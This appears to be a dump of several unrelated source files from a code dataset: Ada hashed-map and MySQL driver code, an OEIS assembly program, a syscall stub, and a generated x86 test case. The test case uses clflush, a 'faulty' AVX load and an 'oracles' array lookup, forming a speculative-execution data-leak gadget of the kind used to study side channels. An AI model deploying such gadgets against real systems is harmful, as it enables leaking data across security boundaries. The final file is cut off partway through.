Tree_Read_xx are permitted -- after this call. procedure Tree_Write_Data (Addr : Address; Length : Int); -- Writes Length then, if Length is not null, Length bytes of data -- starting at Addr to current tree file procedure Tree_Write_Bool (B : Boolean); -- Writes a single boolean value to the current tree file procedure Tree_Write_Char (C : Character); -- Writes a single character to the current tree file procedure Tree_Write_Int (N : Int); -- Writes a single integer value to the current tree file procedure Tree_Write_Str (S : String_Ptr); -- Write out string value referenced by S. Low bound must be 1. procedure Tree_Write_Terminate; -- Terminates writing of the file (flushing the buffer), but does not -- close the file (the caller is responsible for closing the file). end Tree_IO;
source/regions/regions-shared_hashed_maps.adb
reznikmm/declarative-regions
0
4811
<reponame>reznikmm/declarative-regions with Ada.Unchecked_Deallocation; package body Regions.Shared_Hashed_Maps is -- pragma Compile_Time_Warning -- (Hash_Type'Modulus = 2 ** Hash_Type'Size, "Unexpected hash type"); procedure Free is new Ada.Unchecked_Deallocation (Node, Node_Access); function Pop_Count (Value : Unsigned_64; Bit : Bit_Index) return Bit_Count; -- Count 1 bits in Value (0 .. Bit) procedure Reference (Self : not null Node_Access) with Inline; procedure Unreference (Self : in out Node_Access) with Inline; function Descend (Path : Node_Access_Array) return Cursor; -- Find left leaf child of the last item in Path and return -- corresponding Cursor. function To_Index (Node : Node_Access; Hash : Hash_Type; Depth : Bit_Index) return Bit_Count; -- Find an index in Node.Child for given Hash and Depth in bits --------- -- "=" -- --------- function "=" (Left : Map; Right : Map) return Boolean is function Compare (Left, Right : Node_Access) return Boolean; -- Compare Left and Right subtries function Compare (Left, Right : Node_Access) return Boolean is begin if Left = Right then return True; elsif Left = null xor Right = null then return False; elsif Left.Length /= Right.Length then return False; elsif Left.Length = 0 then return Left.Item = Right.Item; else return (for all J in 1 .. Left.Length => Compare (Left.Child (J), Right.Child (J))); end if; end Compare; begin return Compare (Left.Root, Right.Root); end "="; ------------ -- Adjust -- ------------ overriding procedure Adjust (Self : in out Map) is begin if Self.Root /= null then Reference (Self.Root); end if; end Adjust; ----------------------- -- Constant_Indexing -- ----------------------- function Constant_Indexing (Self : Map; Position : Cursor) return Constant_Reference is begin return (Element => Position.Path (Position.Length).Item'Access); end Constant_Indexing; -------------- -- Contains -- -------------- function Contains (Self : Map; Key : Key_Type) return Boolean is Key_Hash : constant Hash_Type := Hash (Key); Mask : constant Hash_Type := Hash_Type (Branches - 1); Next : Node_Access := Self.Root; Rest : Hash_Type := Key_Hash; begin while Next /= null loop if Next.Length > 0 then declare Bit : constant Bit_Index := Bit_Index (Rest and Mask); begin if (Next.Mask and 2 ** Bit) = 0 then return False; else Next := Next.Child (Pop_Count (Next.Mask, Bit)); Rest := Rest / Branches; end if; end; elsif Next.Hash = Key_Hash then return Equivalent_Keys (Next.Key, Key); -- FIXME: "Hash collision" else return False; end if; end loop; return False; end Contains; ------------- -- Descend -- ------------- function Descend (Path : Node_Access_Array) return Cursor is Node : constant not null Node_Access := Path (Path'Last); begin if Node.Length = 0 then return (Length => Path'Length, Path => Path); else return Descend (Path & Node.Child (1)); end if; end Descend; ------------- -- Element -- ------------- function Element (Self : Map; Key : Key_Type) return Element_Type is Key_Hash : constant Hash_Type := Hash (Key); Mask : constant Hash_Type := Hash_Type (Branches - 1); Next : Node_Access := Self.Root; Rest : Hash_Type := Key_Hash; begin while Next /= null loop if Next.Length > 0 then declare Bit : constant Bit_Index := Bit_Index (Rest and Mask); begin if (Next.Mask and 2 ** Bit) = 0 then raise Constraint_Error; else Next := Next.Child (Pop_Count (Next.Mask, Bit)); Rest := Rest / Branches; end if; end; elsif Next.Hash = Key_Hash and then Equivalent_Keys (Next.Key, Key) then return Next.Item; -- FIXME: "Hash collision" else raise Constraint_Error; end if; end loop; return raise Constraint_Error; end Element; --------------- -- Empty_Map -- --------------- function Empty_Map (Active : not null access Change_Count) return Map is begin return (Ada.Finalization.Controlled with Active, Root => null); end Empty_Map; -------------- -- Finalize -- -------------- overriding procedure Finalize (Self : in out Map) is begin Unreference (Self.Root); end Finalize; ----------- -- First -- ----------- overriding function First (Self : Forward_Iterator) return Cursor is begin return Self.First; end First; ----------------- -- Has_Element -- ----------------- function Has_Element (Self : Cursor) return Boolean is begin return Self.Length /= 0; end Has_Element; ------------ -- Insert -- ------------ procedure Insert (Self : in out Map; Key : Key_Type; Item : Element_Type) is Mask : constant Hash_Type := Hash_Type (Branches - 1); Key_Hash : constant Hash_Type := Hash (Key); function Create_Leaf return Node_Access; procedure Descent (Parent : in out Node_Access; Shift : Bit_Count); function Create_Leaf return Node_Access is Child : constant Node_Access := new Node' (Length => 0, Version => Self.Active.all, Counter => 1, Hash => Key_Hash, Key => Key, Item => Item); begin return Child; end Create_Leaf; procedure Descent (Parent : in out Node_Access; Shift : Bit_Count) is Suffix : constant Hash_Type := Key_Hash / 2 ** Shift; Slit : constant Hash_Type := Mask * 2 ** Shift; Bit : constant Bit_Index := Bit_Index (Suffix and Mask); begin if Parent = null then Parent := Create_Leaf; elsif Parent.Length > 0 then declare Index : constant Bit_Count := Pop_Count (Parent.Mask, Bit); begin if (Parent.Mask and 2 ** Bit) = 0 then declare Joint : constant Node_Access := new Node (Length => Parent.Length + 1); begin for Child of Parent.Child loop Reference (Child); end loop; Joint.Version := Self.Active.all; Joint.Counter := 1; Joint.Mask := Parent.Mask or 2 ** Bit; Joint.Child (1 .. Index) := Parent.Child (1 .. Index); Joint.Child (Index + 1) := Create_Leaf; Joint.Child (Index + 2 .. Parent.Length + 1) := Parent.Child (Index + 1 .. Parent.Length); Unreference (Parent); Parent := Joint; end; else if Parent.Version /= Self.Active.all then declare Joint : constant Node_Access := new Node'(Parent.all); begin Joint.Version := Self.Active.all; Joint.Counter := 1; for Child of Joint.Child loop Reference (Child); end loop; Unreference (Parent); Parent := Joint; end; end if; Descent (Parent.Child (Index), Shift + Slit_Bits); end if; end; elsif Parent.Hash = Key_Hash then if not Equivalent_Keys (Parent.Key, Key) then raise Program_Error with "Hash collision"; elsif Parent.Version = Self.Active.all then Parent.Item := Item; else Unreference (Parent); Parent := Create_Leaf; end if; elsif (Parent.Hash and Slit) = (Key_Hash and Slit) then declare Joint : constant Node_Access := new Node (Length => 1); begin Joint.Version := Self.Active.all; Joint.Counter := 1; Joint.Mask := 2 ** Bit; Joint.Child (1) := Parent; Parent := Joint; Descent (Parent.Child (1), Shift + Slit_Bits); end; else declare Joint : constant Node_Access := new Node (Length => 2); Bit_2 : constant Bit_Index := Bit_Index ((Parent.Hash / 2 ** Shift) and Mask); begin Joint.Version := Self.Active.all; Joint.Counter := 1; Joint.Mask := 2 ** Bit or 2 ** Bit_2; if Bit < Bit_2 then Joint.Child (1) := Create_Leaf; Joint.Child (2) := Parent; else Joint.Child (1) := Parent; Joint.Child (2) := Create_Leaf; end if; Parent := Joint; end; end if; end Descent; begin if Self.Root /= null and then (Self.Root.Counter > 1 and Self.Root.Version = Self.Active.all) then Self.Active.all := Self.Active.all + 1; end if; Descent (Self.Root, 0); end Insert; ------------- -- Iterate -- ------------- function Iterate (Self : Map'Class) return Forward_Iterator is begin if Self.Root = null then return (First => (Length => 0, Path => <>)); else return (First => Descend ((1 => Self.Root))); end if; end Iterate; --------- -- Key -- --------- function Key (Self : Cursor) return Key_Type is begin return Self.Path (Self.Length).Key; end Key; ---------- -- Next -- ---------- overriding function Next (Self : Forward_Iterator; Position : Cursor) return Cursor is pragma Unreferenced (Self); function Find_Next (Hash : Hash_Type; Depth : Tree_Depth) return Cursor; function Find_Next (Hash : Hash_Type; Depth : Tree_Depth) return Cursor is Node : constant not null Node_Access := Position.Path (Depth); Index : constant Bit_Count := To_Index (Node, Hash, (Depth - 1) * Slit_Bits); begin if Index < Node.Length then return Descend (Position.Path (1 .. Depth) & Node.Child (Index + 1)); elsif Depth = 1 then return (Length => 0, Path => <>); else return Find_Next (Hash, Depth - 1); end if; end Find_Next; begin if Position.Length <= 1 then return (Length => 0, Path => <>); end if; return Find_Next (Hash => Position.Path (Position.Length).Hash, Depth => Position.Length - 1); end Next; --------------- -- Pop_Count -- --------------- function Pop_Count (Value : Unsigned_64; Bit : Bit_Index) return Bit_Count is Temp : Unsigned_64 := Value; Result : Bit_Count := 0; begin for J in 0 .. Bit loop if (Temp and 1) /= 0 then Result := Result + 1; end if; Temp := Temp / 2; end loop; return Result; end Pop_Count; --------------- -- Reference -- --------------- procedure Reference (Self : not null Node_Access) is begin Self.Counter := Self.Counter + 1; end Reference; ---------------- -- To_Element -- ---------------- function To_Element (Self : Cursor) return Element_Type is begin return Self.Path (Self.Length).Item; end To_Element; -------------- -- To_Index -- -------------- function To_Index (Node : Node_Access; Hash : Hash_Type; Depth : Bit_Index) return Bit_Count is Mask : constant Hash_Type := Hash_Type (Branches - 1); Suffix : constant Hash_Type := Hash / 2 ** Depth; Bit : constant Bit_Index := Bit_Index (Suffix and Mask); Index : constant Bit_Count := Pop_Count (Node.Mask, Bit); begin return Index; end To_Index; ----------------- -- Unreference -- ----------------- procedure Unreference (Self : in out Node_Access) is begin if Self /= null then Self.Counter := Self.Counter - 1; if Self.Counter = 0 then if Self.Length > 0 then for Child of Self.Child loop Unreference (Child); end loop; else Destroy (Self.Item); end if; Free (Self); else Self := null; end if; end if; end Unreference; ----------------------- -- Variable_Indexing -- ----------------------- function Variable_Indexing (Self : in out Map; Position : Cursor) return Variable_Reference is Hash : constant Hash_Type := Position.Path (Position.Length).Hash; Changed : Boolean := False; Copy : Node_Access_Array (Position.Path'Range); Next : Node_Access; begin if Self.Root.Counter > 1 and Self.Root.Version = Self.Active.all then Self.Active.all := Self.Active.all + 1; end if; for J in reverse Position.Path'Range loop Next := Position.Path (J); if Changed or Next.Counter > 1 or Next.Version = Self.Active.all then Changed := True; Next := new Node'(Next.all); Next.Counter := 1; Next.Version := Self.Active.all; if Next.Length > 0 then Next.Child (To_Index (Next, Hash, (J - 1) * Slit_Bits)) := Copy (J + 1); end if; end if; Copy (J) := Next; end loop; Self.Root := Copy (1); return (Element => Copy (Position.Length).Item'Access); end Variable_Indexing; end Regions.Shared_Hashed_Maps;
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48_notsx.log_7_1383.asm
ljhsiun2/medusa
9
176456
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_WC+0x1482f, %r12 sub $19977, %rcx movb $0x51, (%r12) nop nop inc %r8 // Load lea addresses_D+0x42f, %rbp dec %r9 mov (%rbp), %esi nop nop nop nop add $46648, %rbp // Store mov $0x12e9c0000000002f, %rsi sub $18494, %rdi mov $0x5152535455565758, %r8 movq %r8, %xmm3 movups %xmm3, (%rsi) nop nop nop and $32788, %rcx // Faulty Load mov $0x188e91000000002f, %rdi clflush (%rdi) nop nop cmp $14691, %r12 vmovntdqa (%rdi), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r8 lea oracles, %rcx and $0xff, %r8 shlq $12, %r8 mov (%rcx,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_WC', 'congruent': 11}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_D', 'congruent': 10}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 11}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_NC', 'congruent': 0}} <gen_prepare_buffer> {'00': 7} 00 00 00 00 00 00 00 */
programs/oeis/329/A329482.asm
neoneye/loda
22
4148
<filename>programs/oeis/329/A329482.asm ; A329482: Interleave 1 - n + 3*n^2, 1 + 3*n*(1+n) for n >= 0. ; 1,1,3,7,11,19,25,37,45,61,71,91,103,127,141,169,185,217,235,271,291,331,353,397,421,469,495,547,575,631,661,721,753,817,851,919,955,1027,1065,1141,1181,1261,1303,1387,1431,1519,1565,1657,1705,1801,1851,1951,2003,2107,2161,2269,2325,2437,2495,2611,2671,2791,2853,2977,3041,3169,3235,3367,3435,3571,3641,3781,3853,3997,4071,4219,4295,4447,4525,4681,4761,4921,5003,5167,5251,5419,5505,5677,5765,5941,6031,6211,6303,6487,6581,6769,6865,7057,7155,7351 mov $1,$0 bin $0,2 div $1,2 bin $1,2 sub $0,$1 mul $0,2 add $0,1
Userland/SampleCodeModule/int80.asm
nicodonof/SoundblasterOS
0
177005
GLOBAL syscaller syscaller: push rax int 80h pop rax ret
src/mysql/ado-statements-mysql.adb
Letractively/ada-ado
0
26782
----------------------------------------------------------------------- -- ADO.Statements.Mysql -- MySQL Statements -- Copyright (C) 2009, 2010, 2011, 2012, 2013 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Interfaces.C.Strings; with Ada.Unchecked_Conversion; with Util.Log; with Util.Log.Loggers; with System.Storage_Elements; with Interfaces.C; with Mysql.Com; use Mysql.Com; with Mysql.Perfect_Hash; use Mysql; with ADO.C; with ADO.Drivers.Dialects; package body ADO.Statements.Mysql is use Util.Log; use Ada.Calendar; use System.Storage_Elements; use type ADO.Schemas.Class_Mapping_Access; Log : constant Loggers.Logger := Loggers.Create ("ADO.Statements.Mysql"); type Dialect is new ADO.Drivers.Dialects.Dialect with null record; -- Check if the string is a reserved keyword. overriding function Is_Reserved (D : in Dialect; Name : in String) return Boolean; -- Append the item in the buffer escaping some characters if necessary. -- The default implementation only escapes the single quote ' by doubling them. overriding procedure Escape_Sql (D : in Dialect; Buffer : in out Unbounded_String; Item : in String); -- Append the item in the buffer escaping some characters if necessary overriding procedure Escape_Sql (D : in Dialect; Buffer : in out Unbounded_String; Item : in ADO.Blob_Ref); -- Get the quote character to escape an identifier. overriding function Get_Identifier_Quote (D : in Dialect) return Character; Mysql_Dialect : aliased Dialect; -- Execute the SQL query on the given mysql connection. -- Returns the query execution status function Execute (Connection : in Mysql_Access; Query : in String) return int; -- Check for an error after executing a mysql statement. procedure Check_Error (Connection : in Mysql_Access; Result : in int); pragma Inline (Check_Error); -- ------------------------------ -- Check if the string is a reserved keyword. -- ------------------------------ overriding function Is_Reserved (D : in Dialect; Name : in String) return Boolean is pragma Unreferenced (D); begin return Perfect_Hash.Is_Keyword (Name); end Is_Reserved; -- ------------------------------ -- Get the quote character to escape an identifier. -- ------------------------------ overriding function Get_Identifier_Quote (D : in Dialect) return Character is pragma Unreferenced (D); begin return '`'; end Get_Identifier_Quote; -- ------------------------------ -- Append the item in the buffer escaping some characters if necessary. -- The default implementation only escapes the single quote ' by doubling them. -- ------------------------------ overriding procedure Escape_Sql (D : in Dialect; Buffer : in out Unbounded_String; Item : in String) is pragma Unreferenced (D); C : Character; begin for I in Item'Range loop C := Item (I); case C is when ASCII.NUL => Append (Buffer, '\'); Append (Buffer, '0'); when ASCII.CR => Append (Buffer, '\'); Append (Buffer, 'r'); when ASCII.LF => Append (Buffer, '\'); Append (Buffer, 'n'); when '\' | ''' | '"' => Append (Buffer, '\'); Append (Buffer, C); when others => Append (Buffer, C); end case; end loop; end Escape_Sql; -- ------------------------------ -- Append the item in the buffer escaping some characters if necessary -- ------------------------------ overriding procedure Escape_Sql (D : in Dialect; Buffer : in out Unbounded_String; Item : in ADO.Blob_Ref) is pragma Unreferenced (D); use type Ada.Streams.Stream_Element; C : Ada.Streams.Stream_Element; Blob : constant ADO.Blob_Access := Item.Value; begin for I in Blob.Data'Range loop C := Blob.Data (I); case C is when Character'Pos (ASCII.NUL) => Append (Buffer, '\'); Append (Buffer, '0'); when Character'Pos (ASCII.CR) => Append (Buffer, '\'); Append (Buffer, 'r'); when Character'Pos (ASCII.LF) => Append (Buffer, '\'); Append (Buffer, 'n'); when Character'Pos ('\') | Character'Pos (''') | Character'Pos ('"') => Append (Buffer, '\'); Append (Buffer, Character'Val (C)); when others => Append (Buffer, Character'Val (C)); end case; end loop; end Escape_Sql; -- ------------------------------ -- Check for an error after executing a mysql statement. -- ------------------------------ procedure Check_Error (Connection : in Mysql_Access; Result : in int) is begin if Result /= 0 then declare Error : constant Strings.chars_ptr := Mysql_Error (Connection); Msg : constant String := Strings.Value (Error); begin Log.Error ("Error: {0}", Msg); end; end if; end Check_Error; -- ------------------------------ -- Execute the SQL query on the given mysql connection. -- Returns the query execution status -- ------------------------------ function Execute (Connection : in Mysql_Access; Query : in String) return int is Sql : constant ADO.C.String_Ptr := ADO.C.To_String_Ptr (Query); begin Log.Debug ("Execute {0}", Query); -- Execute the query return Mysql_Query (Connection, ADO.C.To_C (Sql)); end Execute; -- ------------------------------ -- Delete statement -- ------------------------------ -- ------------------------------ -- Execute the query -- ------------------------------ overriding procedure Execute (Stmt : in out Mysql_Delete_Statement; Result : out Natural) is begin ADO.SQL.Append (Target => Stmt.Query.SQL, SQL => "DELETE FROM "); ADO.SQL.Append_Name (Target => Stmt.Query.SQL, Name => Stmt.Table.Table.all); if Stmt.Query.Has_Join then ADO.SQL.Append (Target => Stmt.Query.SQL, SQL => Stmt.Query.Get_Join); end if; if Stmt.Query.Has_Filter then ADO.SQL.Append (Target => Stmt.Query.SQL, SQL => " WHERE "); ADO.SQL.Append (Target => Stmt.Query.SQL, SQL => Stmt.Query.Get_Filter); end if; declare Sql_Query : constant String := Stmt.Query.Expand; Res : int; begin Res := Execute (Stmt.Connection, Sql_Query); Check_Error (Stmt.Connection, Res); Result := Natural (Mysql_Affected_Rows (Stmt.Connection)); end; end Execute; -- ------------------------------ -- Create the delete statement -- ------------------------------ function Create_Statement (Database : in Mysql_Access; Table : in ADO.Schemas.Class_Mapping_Access) return Delete_Statement_Access is Result : constant Mysql_Delete_Statement_Access := new Mysql_Delete_Statement; begin Result.Connection := Database; Result.Table := Table; Result.Query := Result.Delete_Query'Access; Result.Delete_Query.Set_Dialect (Mysql_Dialect'Access); return Result.all'Access; end Create_Statement; -- ------------------------------ -- Update statement -- ------------------------------ -- Execute the query overriding procedure Execute (Stmt : in out Mysql_Update_Statement) is Result : Integer; begin Mysql_Update_Statement'Class (Stmt).Execute (Result); end Execute; -- ------------------------------ -- Execute the query -- ------------------------------ overriding procedure Execute (Stmt : in out Mysql_Update_Statement; Result : out Integer) is begin ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => "UPDATE "); ADO.SQL.Append_Name (Target => Stmt.This_Query.SQL, Name => Stmt.Table.Table.all); ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => " SET "); ADO.SQL.Append_Fields (Update => Stmt.This_Query); if Stmt.This_Query.Has_Join then ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => Stmt.This_Query.Get_Join); end if; if Stmt.This_Query.Has_Filter then ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => " WHERE "); ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => Stmt.This_Query.Get_Filter); end if; declare Sql_Query : constant String := Stmt.This_Query.Expand; Res : int; Res2 : My_Ulonglong; begin Res := Execute (Stmt.Connection, Sql_Query); Check_Error (Stmt.Connection, Res); if Res = 0 then Res2 := Mysql_Affected_Rows (Stmt.Connection); Log.Info ("Update: {0}", My_Ulonglong'Image (Res2)); Result := Integer (Res2); else Result := -1; end if; end; end Execute; -- ------------------------------ -- Create an update statement. -- ------------------------------ function Create_Statement (Database : in Mysql_Access; Table : in ADO.Schemas.Class_Mapping_Access) return Update_Statement_Access is Result : constant Mysql_Update_Statement_Access := new Mysql_Update_Statement; begin Result.Connection := Database; Result.Table := Table; Result.Update := Result.This_Query'Access; Result.Query := Result.This_Query'Access; Result.This_Query.Set_Dialect (Mysql_Dialect'Access); return Result.all'Access; end Create_Statement; -- ------------------------------ -- Insert statement -- ------------------------------ -- ------------------------------ -- Execute the query -- ------------------------------ overriding procedure Execute (Stmt : in out Mysql_Insert_Statement; Result : out Integer) is begin if Stmt.Table /= null then ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => "INSERT INTO "); ADO.SQL.Append_Name (Target => Stmt.This_Query.SQL, Name => Stmt.Table.Table.all); ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => " ("); ADO.SQL.Append_Fields (Update => Stmt.This_Query, Mode => False); ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => ") VALUES("); ADO.SQL.Append_Fields (Update => Stmt.This_Query, Mode => True); ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => ")"); end if; declare Sql_Query : constant String := Stmt.This_Query.Expand; Res : int; begin Res := Execute (Stmt.Connection, Sql_Query); Check_Error (Stmt.Connection, Res); if Res = 0 then Result := 1; else Result := 0; end if; end; -- Result := Integer (Mysql_Affected_Rows (Stmt.Connection)); end Execute; -- ------------------------------ -- Create an insert statement. -- ------------------------------ function Create_Statement (Database : in Mysql_Access; Table : in ADO.Schemas.Class_Mapping_Access) return Insert_Statement_Access is Result : constant Mysql_Insert_Statement_Access := new Mysql_Insert_Statement; begin Result.Connection := Database; Result.Table := Table; Result.Update := Result.This_Query'Access; Result.This_Query.Set_Dialect (Mysql_Dialect'Access); ADO.SQL.Set_Insert_Mode (Result.This_Query); return Result.all'Access; end Create_Statement; -- ------------------------------ -- Query statement for MySQL -- ------------------------------ type Unsigned_Long_Ptr is access all unsigned_long; function To_System_Access is new Ada.Unchecked_Conversion (System.Address, System_Access); function To_Address is new Ada.Unchecked_Conversion (System_Access, System.Address); function To_Unsigned_Long_Ptr is new Ada.Unchecked_Conversion (System_Access, Unsigned_Long_Ptr); function "+" (Left : System_Access; Right : Size_T) return System_Access; pragma Inline_Always ("+"); function "+" (Left : System_Access; Right : Size_T) return System_Access is begin return To_System_Access (To_Address (Left) + Storage_Offset (Right)); end "+"; -- ------------------------------ -- Get a column field address. -- If the query was not executed, raises Invalid_Statement -- If the column is out of bound, raises Constraint_Error -- ------------------------------ function Get_Field (Query : in Mysql_Query_Statement'Class; Column : in Natural) return chars_ptr is use System; R : System_Access; begin if Query.Row = null then raise Invalid_Statement with "Null statement"; end if; if Column > Query.Max_Column then raise Constraint_Error with "Invalid column"; end if; R := Query.Row + Size_T (Column * (R'Size / 8)); return To_Chars_Ptr (R.all); end Get_Field; -- ------------------------------ -- Get a column field length. -- If the query was not executed, raises Invalid_Statement -- If the column is out of bound, raises Constraint_Error -- ------------------------------ function Get_Field_Length (Query : in Mysql_Query_Statement'Class; Column : in Natural) return Natural is use System; R : System_Access; begin if Query.Row = null then raise Invalid_Statement with "Null statement"; end if; if Column > Query.Max_Column then raise Constraint_Error with "Invalid column"; end if; R := mysql_fetch_lengths (Query.Result); R := R + Size_T (Column * (R'Size / 8)); return Natural (To_Unsigned_Long_Ptr (R).all); end Get_Field_Length; -- ------------------------------ -- Execute the query -- ------------------------------ overriding procedure Execute (Stmt : in out Mysql_Query_Statement) is use System; Result : int; begin if Stmt.This_Query.Has_Join then ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => " "); ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => Stmt.This_Query.Get_Join); end if; if Stmt.This_Query.Has_Filter then ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => " WHERE "); ADO.SQL.Append (Target => Stmt.This_Query.SQL, SQL => Stmt.This_Query.Get_Filter); end if; declare Expanded_Query : constant String := Stmt.Query.Expand; begin -- Execute the query Result := Execute (Stmt.Connection, Expanded_Query); -- Report an error if the query failed if Result /= 0 then declare Message : constant String := Strings.Value (Mysql_Error (Stmt.Connection)); begin Log.Error ("Query failed: '{0}'", Expanded_Query); Log.Error (" with error: '{0}'", Message); raise Invalid_Statement with "Query failed: " & Message; end; end if; end; Stmt.Result := Mysql_Store_Result (Stmt.Connection); if Stmt.Result /= null then Stmt.Max_Column := Natural (Mysql_Num_Fields (Stmt.Result)); Stmt.Status := HAS_ROW; Stmt.Row := Mysql_Fetch_Row (Stmt.Result); else Stmt.Max_Column := 0; Stmt.Status := DONE; end if; end Execute; -- ------------------------------ -- Get the number of rows returned by the query -- ------------------------------ overriding function Get_Row_Count (Query : in Mysql_Query_Statement) return Natural is begin if Query.Result = null then return 0; end if; return Natural (Mysql_Num_Rows (Query.Result)); end Get_Row_Count; -- ------------------------------ -- Returns True if there is more data (row) to fetch -- ------------------------------ overriding function Has_Elements (Query : in Mysql_Query_Statement) return Boolean is use System; begin if Query.Status = DONE or else Query.Status = ERROR or else Query.Row = null then return False; end if; return True; end Has_Elements; -- ------------------------------ -- Fetch the next row -- ------------------------------ overriding procedure Next (Query : in out Mysql_Query_Statement) is begin if Query.Result /= null then Query.Row := Mysql_Fetch_Row (Query.Result); else Log.Warn ("Next has no more element in the result set."); end if; end Next; -- ------------------------------ -- Returns true if the column <b>Column</b> is null. -- ------------------------------ overriding function Is_Null (Query : in Mysql_Query_Statement; Column : in Natural) return Boolean is Field : constant chars_ptr := Query.Get_Field (Column); begin return Field = null; end Is_Null; -- ------------------------------ -- Get the column value at position <b>Column</b> and -- return it as an <b>Int64</b>. -- Raises <b>Invalid_Type</b> if the value cannot be converted. -- Raises <b>Invalid_Column</b> if the column does not exist. -- ------------------------------ overriding function Get_Int64 (Query : Mysql_Query_Statement; Column : Natural) return Int64 is Field : constant chars_ptr := Query.Get_Field (Column); begin if Field = null then return 0; else return Get_Int64 (Field); end if; end Get_Int64; -- ------------------------------ -- Get the column value at position <b>Column</b> and -- return it as an <b>Unbounded_String</b>. -- Raises <b>Invalid_Type</b> if the value cannot be converted. -- Raises <b>Invalid_Column</b> if the column does not exist. -- ------------------------------ overriding function Get_Unbounded_String (Query : Mysql_Query_Statement; Column : Natural) return Unbounded_String is Field : chars_ptr := Query.Get_Field (Column); begin if Field = null then return Null_Unbounded_String; end if; declare Result : Unbounded_String; C : Character; begin loop C := Field.all; exit when C = ASCII.NUL; Append (Result, C); Field := Field + 1; end loop; return Result; end; end Get_Unbounded_String; -- ------------------------------ -- Get the column value at position <b>Column</b> and -- return it as an <b>Unbounded_String</b>. -- Raises <b>Invalid_Type</b> if the value cannot be converted. -- Raises <b>Invalid_Column</b> if the column does not exist. -- ------------------------------ overriding function Get_String (Query : Mysql_Query_Statement; Column : Natural) return String is begin return To_String (Query.Get_Unbounded_String (Column)); end Get_String; -- ------------------------------ -- Get the column value at position <b>Column</b> and -- return it as a <b>Blob</b> reference. -- ------------------------------ overriding function Get_Blob (Query : in Mysql_Query_Statement; Column : in Natural) return ADO.Blob_Ref is Field : constant chars_ptr := Query.Get_Field (Column); begin if Field /= null then return Get_Blob (Size => Query.Get_Field_Length (Column), Data => Field); else return Null_Blob; end if; end Get_Blob; -- ------------------------------ -- Get the column value at position <b>Column</b> and -- return it as an <b>Time</b>. -- Raises <b>Invalid_Type</b> if the value cannot be converted. -- Raises <b>Invalid_Column</b> if the column does not exist. -- ------------------------------ overriding function Get_Time (Query : Mysql_Query_Statement; Column : Natural) return Ada.Calendar.Time is Field : constant chars_ptr := Query.Get_Field (Column); begin return ADO.Statements.Get_Time (Field); end Get_Time; -- ------------------------------ -- Get the column type -- Raises <b>Invalid_Column</b> if the column does not exist. -- ------------------------------ overriding function Get_Column_Type (Query : Mysql_Query_Statement; Column : Natural) return ADO.Schemas.Column_Type is Field : MYSQL_FIELD; begin if Query.Result = null then raise Invalid_Statement with "No statement"; end if; if Column > Query.Max_Column then raise Constraint_Error with "Invalid column: " & Natural'Image (Column); end if; Field := Mysql_Fetch_Field_Direct (Query.Result, MYSQL_FIELD_OFFSET (Column)); if Field = null then raise Constraint_Error with "Invalid column: " & Natural'Image (Column); end if; case Field.C_Type is when MYSQL_TYPE_DECIMAL | MYSQL_TYPE_NEWDECIMAL => return ADO.Schemas.T_DECIMAL; when MYSQL_TYPE_TINY => return ADO.Schemas.T_TINYINT; when MYSQL_TYPE_SHORT => return ADO.Schemas.T_SMALLINT; when MYSQL_TYPE_LONG | MYSQL_TYPE_INT24 => return ADO.Schemas.T_LONG_INTEGER; when MYSQL_TYPE_FLOAT => return ADO.Schemas.T_FLOAT; when MYSQL_TYPE_DOUBLE => return ADO.Schemas.T_DOUBLE; when MYSQL_TYPE_NULL => return ADO.Schemas.T_UNKNOWN; when MYSQL_TYPE_TIMESTAMP => return ADO.Schemas.T_TIMESTAMP; when MYSQL_TYPE_LONGLONG => return ADO.Schemas.T_LONG_INTEGER; when MYSQL_TYPE_DATE | MYSQL_TYPE_NEWDATE => return ADO.Schemas.T_DATE; when MYSQL_TYPE_TIME => return ADO.Schemas.T_TIME; when MYSQL_TYPE_DATETIME => return ADO.Schemas.T_DATE_TIME; when MYSQL_TYPE_YEAR => return ADO.Schemas.T_YEAR; when MYSQL_TYPE_VARCHAR | MYSQL_TYPE_VAR_STRING | MYSQL_TYPE_STRING => return ADO.Schemas.T_VARCHAR; when MYSQL_TYPE_BIT => return ADO.Schemas.T_BOOLEAN; when MYSQL_TYPE_ENUM => return ADO.Schemas.T_ENUM; when MYSQL_TYPE_SET => return ADO.Schemas.T_SET; when MYSQL_TYPE_TINY_BLOB | MYSQL_TYPE_MEDIUM_BLOB | MYSQL_TYPE_LONG_BLOB | 